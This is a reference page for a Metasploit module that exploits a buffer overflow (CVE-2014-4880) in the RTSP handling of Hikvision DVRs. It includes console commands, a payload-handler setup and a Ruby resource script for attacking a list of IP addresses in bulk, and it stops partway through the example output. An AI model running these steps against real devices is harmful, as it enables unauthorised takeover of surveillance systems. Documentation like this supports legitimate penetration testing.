Hikvision DVR RTSP Request Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/hikvision_rtsp_bof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Hikvision DVR RTSP Request Remote Code Execution
Module: exploit/linux/misc/hikvision_rtsp_bof
Source code: modules/exploits/linux/misc/hikvision_rtsp_bof.rb
Disclosure date: 2014-11-19
Last modification time: 2022-06-22 15:49:43 +0000
Supported architecture(s): armle
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 554
List of CVEs: CVE-2014-4880
This module exploits a buffer overflow in the RTSP request parsing code of Hikvision DVR appliances. The Hikvision DVR devices record video feeds of surveillance cameras and offer remote administration and playback of recorded footage. The vulnerability is present in several models / firmware versions but due to the available test device this module only supports the DS-7204 model.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Using hikvision_rtsp_bof against a single host
Normally, you can use exploit/linux/misc/hikvision_rtsp_bof this way:
msf > use exploit/linux/misc/hikvision_rtsp_bof
msf exploit(hikvision_rtsp_bof) > show targets
... a list of targets ...
msf exploit(hikvision_rtsp_bof) > set TARGET target-id
msf exploit(hikvision_rtsp_bof) > show options
... show and set options ...
msf exploit(hikvision_rtsp_bof) > exploit
Using hikvision_rtsp_bof against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your hikvision_rtsp_bof will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/misc/hikvision_rtsp_bof")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
